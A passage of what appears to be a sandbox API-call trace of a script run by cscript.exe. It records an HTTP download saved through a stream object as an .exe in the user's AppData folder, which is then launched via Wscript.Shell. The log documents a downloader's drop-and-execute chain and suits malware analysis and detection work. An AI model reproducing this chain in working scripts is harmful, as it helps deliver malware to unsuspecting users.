varVal2=0x92e5937da0)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559afc0*=0x0) returned 0x0
	[0054.780] IUnknown:Release (This=0x92e7d657b0) returned 0x1
	[0054.781] IDispatch:GetIDsOfNames (in: This=0x92e7d657b0, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559afc8*="Send", cNames=0x1, lcid=0x7ffb00000409, rgDispId=0x92e559afd8 | out: rgDispId=0x92e559afd8*=5) returned 0x0
	[0054.781] IUnknown:AddRef (This=0x92e7d657b0) returned 0x2
	[0054.781] IDispatch:Invoke (in: This=0x92e7d657b0, dispIdMember=5, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559b020*(rgvarg=0x92e77ea968, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040, puArgErr=0x92e559afc0 | out: pDispParams=0x92e559b020*(rgvarg=0x92e77ea968, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559afc0*=0x0) returned 0x0
	[0055.248] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0055.248] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e559a440 | out: ppvObject=0x92e559a440*=0x92e5936bc0) returned 0x0
	[0055.249] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbf70b9220*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70b9220*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x92e567a068 | out: ppvObject=0x92e567a068*=0x0) returned 0x80004002
	[0055.249] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0055.249] IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0055.250] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0055.250] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e559a1f0 | out: ppvObject=0x92e559a1f0*=0x92e5936bc0) returned 0x0
	[0055.250] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbf70ba208*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), riid=0x7ffbf70ba208*(Data1=0xaf0ff408, Data2=0x129d, Data3=0x4b20, Data4=([0]=0x91, [1]=0xf0, [2]=0x2, [3]=0xbd, [4]=0x23, [5]=0xd8, [6]=0x83, [7]=0x52)), ppvObject=0x92e559a3e0 | out: ppvObject=0x92e559a3e0*=0x0) returned 0x80004002
	[0055.250] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0055.250] IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0057.452] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0057.452] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e5598f90 | out: ppvObject=0x92e5598f90*=0x92e5936bc0) returned 0x0
	[0057.452] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbf70b8bd8*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70bb330*(Data1=0x79eac9c1, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x92e55990f0 | out: ppvObject=0x92e55990f0*=0x0) returned 0x80004002
	[0057.452] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0057.452] IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0057.452] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0057.452] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e5598a20 | out: ppvObject=0x92e5598a20*=0x92e5936bc0) returned 0x0
	[0057.452] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbf70ba148*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x7ffbf70ba148*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x92e5598c20 | out: ppvObject=0x92e5598c20*=0x0) returned 0x80004002
	[0057.452] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0057.452] IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0057.453] IUnknown:AddRef (This=0x92e5936bc0) returned 0x2
	[0057.453] IUnknown:QueryInterface (in: This=0x92e5936bc0, riid=0x7ffbebd3e0c0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x92e5598a20 | out: ppvObject=0x92e5598a20*=0x92e5936bc0) returned 0x0
	[0057.453] IServiceProvider:QueryService (in: This=0x92e5936bc0, guidService=0x7ffbf70ba138*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7ffbf70ba138*(Data1=0x79eac9d5, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x92e5598c70 | out: ppvObject=0x92e5598c70*=0x0) returned 0x80004002
	[0057.453] IUnknown:Release (This=0x92e5936bc0) returned 0x2
	[0057.453] IUnknown:Release (This=0x92e5936bc0) returned 0x1
	[0088.994] IUnknown:Release (This=0x92e7d657b0) returned 0x1
	[0088.994] IDispatch:GetIDsOfNames (in: This=0x92e5678580, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559b038*="type", cNames=0x1, lcid=0x409, rgDispId=0x92e559b048 | out: rgDispId=0x92e559b048*=4) returned 0x0
	[0089.012] IUnknown:AddRef (This=0x92e5678580) returned 0x2
	[0089.012] IDispatch:Invoke (in: This=0x92e5678580, dispIdMember=4, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x92e559b090*(rgvarg=([0]=0x92e77ea938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9200000001, varVal2=0x0)), rgdispidNamedArgs=([0]=0x92e559b0f0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x92e559b0b0, puArgErr=0x92e559b030 | out: pDispParams=0x92e559b090*(rgvarg=([0]=0x92e77ea938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9200000001, varVal2=0x0)), rgdispidNamedArgs=([0]=0x92e559b0f0*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x92e559b0b0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559b030*=0x0) returned 0x0
	[0089.013] IUnknown:Release (This=0x92e5678580) returned 0x1
	[0089.013] IDispatch:GetIDsOfNames (in: This=0x92e5678580, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559afc8*="open", cNames=0x1, lcid=0xffe00000409, rgDispId=0x92e559afd8 | out: rgDispId=0x92e559afd8*=10) returned 0x0
	[0089.013] IUnknown:AddRef (This=0x92e5678580) returned 0x2
	[0089.013] IDispatch:Invoke (in: This=0x92e5678580, dispIdMember=10, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559b020*(rgvarg=0x92e77ea968, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040, puArgErr=0x92e559afc0 | out: pDispParams=0x92e559b020*(rgvarg=0x92e77ea968, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559afc0*=0x0) returned 0x0
	[0089.043] IUnknown:Release (This=0x92e5678580) returned 0x1
	[0089.043] IDispatch:GetIDsOfNames (in: This=0x92e7d657b0, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559b038*="responseBody", cNames=0x1, lcid=0x409, rgDispId=0x92e559b048 | out: rgDispId=0x92e559b048*=11) returned 0x0
	[0089.043] IUnknown:AddRef (This=0x92e7d657b0) returned 0x2
	[0089.043] IDispatch:Invoke (in: This=0x92e7d657b0, dispIdMember=11, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x92e559b090*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x92e77ea950, pExcepInfo=0x92e559b0b0, puArgErr=0x92e559b030 | out: pDispParams=0x92e559b090*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x92e77ea950*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x92e8f62050*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x92e8f62070*, rgsabound=((cElements=0x3e1e00, lLbound=0))), varVal2=0x0), pExcepInfo=0x92e559b0b0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559b030*=0xe77ea950) returned 0x0
	[0089.067] IUnknown:Release (This=0x92e7d657b0) returned 0x1
	[0089.068] IDispatch:GetIDsOfNames (in: This=0x92e5678580, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559afc8*="write", cNames=0x1, lcid=0x9200000409, rgDispId=0x92e559afd8 | out: rgDispId=0x92e559afd8*=13) returned 0x0
	[0089.068] IUnknown:AddRef (This=0x92e5678580) returned 0x2
	[0089.068] IDispatch:Invoke (in: This=0x92e5678580, dispIdMember=13, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x92e8f62050*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x92e8f62070*, rgsabound=((cElements=0x3e1e00, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040, puArgErr=0x92e559afc0 | out: pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x92e8f62050*(cDims=0x1, fFeatures=0x2080, cbElements=0x1, cLocks=0x0, pvData=0x92e8f62070*, rgsabound=((cElements=0x3e1e00, lLbound=0))), varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559afc0*=0x0) returned 0x0
	[0089.095] IUnknown:Release (This=0x92e5678580) returned 0x1
	[0089.095] IDispatch:GetIDsOfNames (in: This=0x92e5678580, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x92e559afc8*="savetofile", cNames=0x1, lcid=0x9200000409, rgDispId=0x92e559afd8 | out: rgDispId=0x92e559afd8*=17) returned 0x0
	[0089.095] IUnknown:AddRef (This=0x92e5678580) returned 0x2
	[0089.095] IDispatch:Invoke (in: This=0x92e5678580, dispIdMember=17, riid=0x7ffbed4ca8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9200000002, varVal2=0x0), [1]=0x92e559b0a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x2, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040, puArgErr=0x92e559afc0 | out: pDispParams=0x92e559b020*(rgvarg=([0]=0x92e559b090*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9200000002, varVal2=0x0), [1]=0x92e559b0a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x2, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x92e559b040*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x92e559afc0*=0x0) returned 0x0
	[0089.095] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffbeb8c51a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559a290 | out: ppvObject=0x92e559a290*=0x92e593e250) returned 0x0
	[0089.095] IUnknown:QueryInterface (in: This=0x92e593e250, riid=0x7ffbeb8c51a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x92e559a2e8 | out: ppvObject=0x92e559a2e8*=0x92e593e250) returned 0x0
	[0089.095] IUnknown:Release (This=0x92e593e250) returned 0x2
	[0089.456] IUnknown:Release (This=0x92e593e250) returned 0x1
	[0089.456] IUnknown:Release (This=0x92e5678580) returned 0x1
	[0089.456] IUnknown:AddRef (This=0x92e560ace0) returned 0x2
	[0089.457] ITypeInfo:LocalGetIDsOfNames (This=0x92e560ace0) returned 0x0
	[0089.457] IUnknown:Release (This=0x92e560ace0) returned 0x1
	[0089.457] IUnknown:AddRef (This=0x92e560ace0) returned 0x2
	[0089.457] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0089.457] ITypeInfo:LocalInvoke (This=0x92e560ace0) returned 0x0
	[0089.457] GetTickCount () returned 0x28c77
	[0089.457] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x1f4, dwWakeMask=0x5ff, dwFlags=0x5) returned 0x0
	[0089.457] PeekMessageA (in: lpMsg=0x92e559c650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x92e559c650) returned 1
	[0089.457] DispatchMessageA (lpMsg=0x92e559c650) returned 0x0
	[0089.457] GetTickCount () returned 0x28c77
	[0089.457] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x1f4, dwWakeMask=0x5ff, dwFlags=0x5) returned 0x102
	[0089.966] PeekMessageA (in: lpMsg=0x92e559c650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x92e559c650) returned 0
	[0089.966] GetTickCount () returned 0x28e7a
	[0089.966] IUnknown:Release (This=0x92e560ace0) returned 0x1
	[0089.966] CLSIDFromProgIDEx (in: lpszProgID="Wscript.Shell", lpclsid=0x92e559cc20 | out: lpclsid=0x92e559cc20*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
	[0089.967] SysStringLen (param_1=0x0) returned 0x0
	[0089.967] CoGetClassObject (in: rclsid=0x92e559cc20*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559cbe0 | out: ppv=0x92e559cbe0*=0x92e593d1e0) returned 0x0
	[0089.967] DllGetClassObject (in: rclsid=0x92e561c640*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x7ffbed4ca788*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559cbe0 | out: ppv=0x92e559cbe0*=0x92e593d1e0) returned 0x0
	[0089.967] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x92e559ca00, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\CScript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")) returned 0x1f
	[0089.967] _strcmpi (_Str1="\\CScript.exe", _Str2="\\wscript.exe") returned -20
	[0089.967] _strcmpi (_Str1="\\CScript.exe", _Str2="\\cscript.exe") returned 0
	[0089.968] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7ecad0000
	[0089.968] GetProcAddress (hModule=0x7ff7ecad0000, lpProcName=0x1) returned 0x7ff7ecad1350
	[0089.968] IUnknown:AddRef (This=0x92e563a100) returned 0x2
	[0089.968] ITypeInfo:LocalGetIDsOfNames (This=0x92e563a100) returned 0x0
	[0089.968] IUnknown:Release (This=0x92e563a100) returned 0x1
	[0089.968] IUnknown:AddRef (This=0x92e563a100) returned 0x2
	[0089.968] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0089.969] ITypeInfo:LocalInvoke (This=0x92e563a100) returned 0x0
	[0089.969] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", lpDst=0x92e559bcf0, nSize=0x400 | out: lpDst="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe") returned 0x38
	[0089.969] SysStringLen (param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe") returned 0x37
	[0089.969] CreatePipe (in: hReadPipe=0x92e559c638, hWritePipe=0x92e559c5a0, lpPipeAttributes=0x92e559c5d8, nSize=0x0 | out: hReadPipe=0x92e559c638*=0x45c, hWritePipe=0x92e559c5a0*=0x20c) returned 1
	[0089.969] CreatePipe (in: hReadPipe=0x92e559c5c0, hWritePipe=0x92e559c590, lpPipeAttributes=0x92e559c5d8, nSize=0x0 | out: hReadPipe=0x92e559c5c0*=0x210, hWritePipe=0x92e559c590*=0x114) returned 1
	[0089.969] CreatePipe (in: hReadPipe=0x92e559c598, hWritePipe=0x92e559c5c8, lpPipeAttributes=0x92e559c5d8, nSize=0x0 | out: hReadPipe=0x92e559c598*=0x700, hWritePipe=0x92e559c5c8*=0x7a4) returned 1
	[0089.969] GetCurrentProcess () returned 0xffffffffffffffff
	[0089.969] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x45c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92e559c5b0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92e559c5b0*=0x79c) returned 1
	[0089.969] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x114, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92e559c5a8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92e559c5a8*=0x794) returned 1
	[0089.969] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x700, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92e559c5b8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92e559c5b8*=0x798) returned 1
	[0089.969] CloseHandle (hObject=0x45c) returned 1
	[0089.969] CloseHandle (hObject=0x114) returned 1
	[0089.969] CloseHandle (hObject=0x700) returned 1
	[0089.969] DoOpenPipeStream () returned 0x0
	[0089.969] DoOpenPipeStream () returned 0x0
	[0089.969] DoOpenPipeStream () returned 0x0
	[0089.969] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x92e559c4b0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x210, hStdOutput=0x20c, hStdError=0x7a4), lpProcessInformation=0x92e559c520 | out: lpCommandLine="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe", lpProcessInformation=0x92e559c520*(hProcess=0x114, hThread=0x700, dwProcessId=0xcd0, dwThreadId=0xd04)) returned 1
	[0091.863] CloseHandle (hObject=0x700) returned 1
	[0091.864] CloseHandle (hObject=0x20c) returned 1
	[0091.864] CloseHandle (hObject=0x210) returned 1
	[0091.864] CloseHandle (hObject=0x7a4) returned 1
	[0091.864] CloseHandle (hObject=0x114) returned 1
	[0091.864] IUnknown:Release (This=0x92e563a100) returned 0x1
	[0091.864] ISystemDebugEventFire:IsActive (This=0x92e561dc20) returned 0x1
	[0091.865] GetCurrentThreadId () returned 0xe70
	[0091.865] CoGetObjectContext (in: riid=0x7ffbed4ca8a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x92e559eb30 | out: ppv=0x92e559eb30*=0x92e55fe928) returned 0x0
	[0091.919] IUnknown:Release (This=0x92e593e250) returned 0x0
	[0091.923] IUnknown:Release (This=0x92e5936bc0) returned 0x0
	[0091.963] IUnknown:Release (This=0x92e563a310) returned 0x0
	[0091.963] IUnknown:Release (This=0x92e563a100) returned 0x0
	[0091.965] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7ffc01ad6e80, dwCookie=0x100) returned 0x0
	[0091.965] IUnknown:Release (This=0x92e5937b50) returned 0x1
	[0091.965] IUnknown:Release (This=0x92e55fe928) returned 0x1
	[0091.966] IUnknown:Release (This=0x92e55fe928) returned 0x0
	[0091.966] ISystemDebugEventFire:EndSession (This=0x92e561dc20) returned 0x0
	[0091.966] IUnknown:Release (This=0x92e561dc20) returned 0x1
	[0091.967] GetUserDefaultLCID () returned 0x409
	[0091.967] GetACP () returned 0x4e4
	[0091.967] IUnknown:Release (This=0x92e561dc20) returned 0x0
	[0091.968] SendMessageA (hWnd=0x50204, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0
	[0091.968] SendMessageA (hWnd=0x50204, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0
	[0091.968] PostMessageA (hWnd=0x50204, Msg=0x12, wParam=0x0, lParam=0x0) returned 1
	[0091.970] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x92e559f4c0*=0x12c, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0
	[0091.970] CloseHandle (hObject=0x12c) returned 1
	[0091.970] IUnknown:Release (This=0x92e560ad90) returned 0x0
	[0091.970] IUnknown:Release (This=0x92e560ae40) returned 0x0
	[0091.971] IUnknown:Release (This=0x92e560aef0) returned 0x0
	[0091.971] IUnknown:Release (This=0x92e560ace0) returned 0x0
	[0091.972] GetProcAddress (hModule=0x7ffbf69d0000, lpProcName="AmsiUninitialize") returned 0x7ffbf69d2490
	[0091.972] AmsiUninitialize () returned 0x1
	[0091.972] FreeLibrary (hLibModule=0x7ffbf69d0000) returned 1
